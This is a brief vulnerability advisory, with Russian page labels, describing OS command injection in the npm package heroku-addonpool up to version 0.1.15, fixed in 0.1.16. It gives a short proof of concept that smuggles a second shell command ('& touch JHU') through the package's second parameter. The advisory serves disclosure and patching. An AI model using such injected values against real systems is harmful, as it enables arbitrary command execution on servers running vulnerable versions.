Описание
OS Command Injection in heroku-addonpool
heroku-addonpool through 0.1.15 is vulnerable to Command Injection. The second parameter of the exported function HerokuAddonPool(id, app, opt) can be controlled by users without any sanitization.
PoC
var Root = require("heroku-addonpool");
var root = Root("sss", "& touch JHU", {});
root.setup();
Пакеты
Наименование
heroku-addonpool
npm
Затронутые версииВерсия исправления
< 0.1.16
0.1.16
Связанные уязвимости
CVSS3: 9.8
nvd
почти 6 лет назад
heroku-addonpool through 0.1.15 is vulnerable to Command Injection.